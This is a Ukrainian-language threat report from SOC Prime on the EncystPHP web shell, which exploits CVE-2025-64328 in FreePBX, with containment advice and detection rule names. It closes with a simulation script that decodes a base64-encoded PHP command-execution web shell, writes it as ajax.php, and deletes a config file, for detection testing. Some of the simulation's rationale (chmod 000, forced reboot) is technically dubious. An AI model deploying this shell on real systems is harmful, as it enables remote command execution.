SOC Prime Bias: Критичний

03 Feb 2026 16:33 UTC

EncystPHP: Зброєздатна веб-оболонка FreePBX для стійкого компрометування адміністратора

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
EncystPHP: Зброєздатна веб-оболонка FreePBX для стійкого компрометування адміністратора
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

FortiGuard Labs повідомляє про PHP веб-шелл під назвою EncystPHP впроваджений на відкритих інстанціях FreePBX шляхом експлуатації CVE-2025-64328. Імплант дає змогу віддалено виконувати команди, надає права привілейованим користувачам і встановлює багатошарову стійкість через cron завдання та подальші дропери. Діяльність пов’язана з командою INJ3CTOR3 і, схоже, націлена на телекомунікаційні середовища. До опублікованих індикаторів належать зловмисні IP-адреси, домени, URL-адреси та декілька ворожих шляхів файлів.

Розслідування

Слідчі відстежили початковий доступ до помилки ін’єкції команд після аутентифікації в FreePBX Endpoint Manager. Після успішної експлуатації оператор витягує дропер з 45.234.176.202, послаблює дозволи на ключові компоненти PHP, витягує облікові дані бази даних, створює обліковий запис рівня root і додає контрольований зловмисником SSH ключ. Стійкість підкріплюється записами cron, які безперервно отримують додаткові дропери та оновлюють артефакти. EncystPHP також маскується під легітимні файли FreePBX і маніпулює часовими мітками, щоб зменшити видимість під час рутинного триажу.

Стримування

Виправте FreePBX Endpoint Manager, щоб розв’язати CVE-2025-64328 (і будь-які супутні виправлення) якомога швидше. Шукайте несанкціоновані веб-шелл файли, підозрілі розклади cron і новостворених локальних користувачів з правами адміністратора. Блокуйте вихідний HTTP до відомої зловмисної інфраструктури і забезпечте суворі, мінімально необхідні дозволи на каталоги, що стикаються з вебом, і PHP активи.

Відповідь

При виявленні ізолюйте уражений PBX сервер, видаліть артефакти EncystPHP, знищте несанкціоновані cron завдання і скиньте локальні облікові записи та SSH ключі. Перевірте журнали та резервні копії конфігурацій, щоб визначити зміни, потім застосуйте поточні оновлення безпеки та зміцніть веб-інтерфейс. Переконайтесь, що жодні вторинні дропери або механізми стійкості не залишилися, перш ніж відновлювати нормальну роботу телефонії.

Потік атаки

Детекції

Можливий новий обліковий запис для стійкості [Linux] (через cmdline)

Команда SOC Prime
02 лютого 2026

Файл cron був створений (через file_event)

Команда SOC Prime
02 лютого 2026

Завантаження в підозрілі каталоги (через cmdline)

Команда SOC Prime
02 лютого 2026

Можлива спроба виявлення відомих хостів SSH [MacOS] (через cmdline)

Команда SOC Prime
02 лютого 2026

Можлива маніпуляція з Base64-кодованими рядками (через cmdline)

Команда SOC Prime
02 лютого 2026

IOCs (DestinationIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання

Правила AI SOC Prime
02 лютого 2026

IOCs (HashSha256) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання

Правила AI SOC Prime
02 лютого 2026

IOCs (SourceIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання

Правила AI SOC Prime
02 лютого 2026

Виявлення записів crontab для постійного завантаження k.php і c дроперів [Linux процес створення]

Правила AI SOC Prime
02 лютого 2026

Розгортання EncystPHP Web Shell і стійкість через CVE-2025-64328 [Linux процес створення]

Правила AI SOC Prime
02 лютого 2026

Виявлення активності EncystPHP Web Shell у FreePBX [Подія файлу Linux]

Правила AI SOC Prime
02 лютого 2026

Виконання симуляції

Передумова: Перевірка телеметрії та базового рівня Pre‑flight Check повинна пройти.

Рішення: Цей розділ детально описує точну реалізацію техніки противника (TTP), призначену для виклику правила виявлення. Команди та наратив МУСИТЬ прямо відображати ідентифіковані TTP і мають мету генерувати точну телеметрію, очікувану логікою виявлення.

  • Наратив атаки та команди:

    1. Завантажте веб-шелл EncystPHP – Зловмисник створює PHP навантаження, закодоване у Base64, і відправляє його через HTTP POST в веб-інтерфейс FreePBX, що призводить до того, що файл ajax.php буде записано до /var/www/html/admin/views/ajax.php.
    2. Встановіть обмежувальні дозволи – Відразу після впровадження зловмисник запускає chmod 000 ajax.php щоб сховати шелл від звичайних користувачів і примусово виконувати його під привілейованим акаунтом веб-сервера (T1222.002).
    3. Видалити критичну конфігурацію – Щоб погіршити виявлення та примусити систему перезавантажитися зі зловмисним шеллом, зловмисник видаляє /etc/freepbx.conf (T1070.004, T1562.001).
    4. Запустити шелл – Простий HTTP GET до новоствореного ajax.php виконує навантаження, встановлюючи зворотний шелл (T1105, T1059.004).
  • Сценарій регресійного тесту: Скрипт відтворює кроки 1-3 у контрольованій тестовій директорії (/tmp/freepbx_test) для уникнення впливу на продуктивну систему.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Команди очищення:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Тестова середа очищена."